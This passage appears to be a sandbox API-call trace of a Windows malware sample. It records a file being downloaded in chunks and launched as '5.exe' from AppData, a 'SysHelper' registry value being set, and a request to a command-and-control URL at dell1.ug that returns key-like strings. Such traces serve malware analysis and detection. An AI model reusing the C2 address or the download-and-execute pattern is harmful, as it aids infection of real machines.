hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.177] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.178] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.179] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.180] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.180] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.180] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.181] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.181] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.181] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.202] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.202] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.203] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.203] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.205] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.206] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.230] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.230] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.231] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.232] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.232] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.233] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.233] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.234] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.234] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.234] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.235] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.235] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.255] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.255] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.256] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.256] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.257] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.257] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.260] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.260] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.261] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.261] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.261] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.261] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.263] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.264] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.265] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.265] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.266] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.266] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.266] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.266] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.267] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.267] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.267] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.267] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.284] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.285] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.285] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.286] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.287] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.287] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.288] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.288] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.288] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.289] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x1a00) returned 1 [0055.289] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x1a00, lpOverlapped=0x0) returned 1 [0055.290] CloseHandle (hObject=0x6dc) returned 1 [0055.293] InternetCloseHandle (hInternet=0xcc0024) returned 1 [0055.299] InternetCloseHandle (hInternet=0xcc001c) returned 1 [0055.299] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\5.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0055.329] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cb20 | out: hHeap=0x5d0000) returned 1 [0055.329] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0055.329] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177b60 | out: hHeap=0x5d0000) returned 1 [0055.329] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1f8 | out: hHeap=0x5d0000) returned 1 [0055.329] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177758 | out: hHeap=0x5d0000) returned 1 [0055.329] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0055.329] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187078 | out: hHeap=0x5d0000) returned 1 [0055.329] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316af20 | out: hHeap=0x5d0000) returned 1 [0055.329] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316ad60 | out: hHeap=0x5d0000) returned 1 [0055.329] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316aeb0 | out: hHeap=0x5d0000) returned 1 [0055.329] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0055.329] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0055.329] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0055.329] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177390 | out: hHeap=0x5d0000) returned 1 Thread: id = 46 os_tid = 0xb08 [0051.592] timeGetTime () returned 0x1bf48 [0051.592] GetLastError () returned 0x54f [0051.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3bc) returned 0x3176c48 [0051.593] GetCurrentThreadId () returned 0xb08 [0051.593] SetLastError (dwErrCode=0x54f) [0051.593] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0xf003f, phkResult=0xfd5a6e4 | out: phkResult=0xfd5a6e4*=0x5cc) returned 0x0 [0051.593] RegQueryValueExW (in: hKey=0x5cc, lpValueName="SysHelper", lpReserved=0x0, lpType=0xfd5a6d8, lpData=0xfd5a6e0, lpcbData=0xfd5a6dc*=0x4 | out: lpType=0xfd5a6d8*=0x0, lpData=0xfd5a6e0*=0x0, lpcbData=0xfd5a6dc*=0x4) returned 0x2 [0051.593] RegSetValueExW (in: hKey=0x5cc, lpValueName="SysHelper", Reserved=0x0, dwType=0x4, lpData=0xfd5a6e0*=0x1, cbData=0x4 | out: lpData=0xfd5a6e0*=0x1) returned 0x0 [0051.593] RegCloseKey (hKey=0x5cc) returned 0x0 [0051.593] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0010 [0051.593] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x30ba2f0 [0051.593] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b188 [0051.593] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x31f2f30 [0051.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x316b188, cbMultiByte=-1, lpWideCharStr=0x31f2f30, cchWideChar=1056 | out: lpWideCharStr="36D07653B13F0945D4104F0CC1D31E1D") returned 33 [0051.593] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x850) returned 0x31eef70 [0051.593] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f2f30 | out: hHeap=0x5d0000) returned 1 [0051.593] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b188 | out: hHeap=0x5d0000) returned 1 [0051.593] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8d0) returned 0x31ef7c8 [0051.593] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x30ba2f0 | out: hHeap=0x5d0000) returned 1 [0051.593] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31eef70 | out: hHeap=0x5d0000) returned 1 [0051.593] lstrcpyW (in: lpString1=0xfd5af78, lpString2="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php?pid=36D07653B13F0945D4104F0CC1D31E1D" | out: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php?pid=36D07653B13F0945D4104F0CC1D31E1D") returned="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php?pid=36D07653B13F0945D4104F0CC1D31E1D" [0051.593] lstrcatW (in: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php?pid=36D07653B13F0945D4104F0CC1D31E1D", lpString2="&first=true" | out: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php?pid=36D07653B13F0945D4104F0CC1D31E1D&first=true") returned="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php?pid=36D07653B13F0945D4104F0CC1D31E1D&first=true" [0051.593] InternetOpenUrlW (hInternet=0xcc0010, lpszUrl="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php?pid=36D07653B13F0945D4104F0CC1D31E1D&first=true", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0018 [0051.962] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xfd5a778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xfd5a774 | out: lpBuffer=0xfd5a778*, lpdwNumberOfBytesRead=0xfd5a774*=0x67) returned 1 [0051.963] InternetCloseHandle (hInternet=0xcc0018) returned 1 [0051.965] InternetCloseHandle (hInternet=0xcc0010) returned 1 [0051.965] lstrlenA (lpString="{\"line1\":\"") returned 10 [0051.965] lstrcpyA (in: lpString1=0xfd5ab78, lpString2="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}" | out: lpString1="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}" [0051.965] lstrcpyA (in: lpString1=0xfd5a778, lpString2="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}" | out: lpString1="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}" [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") 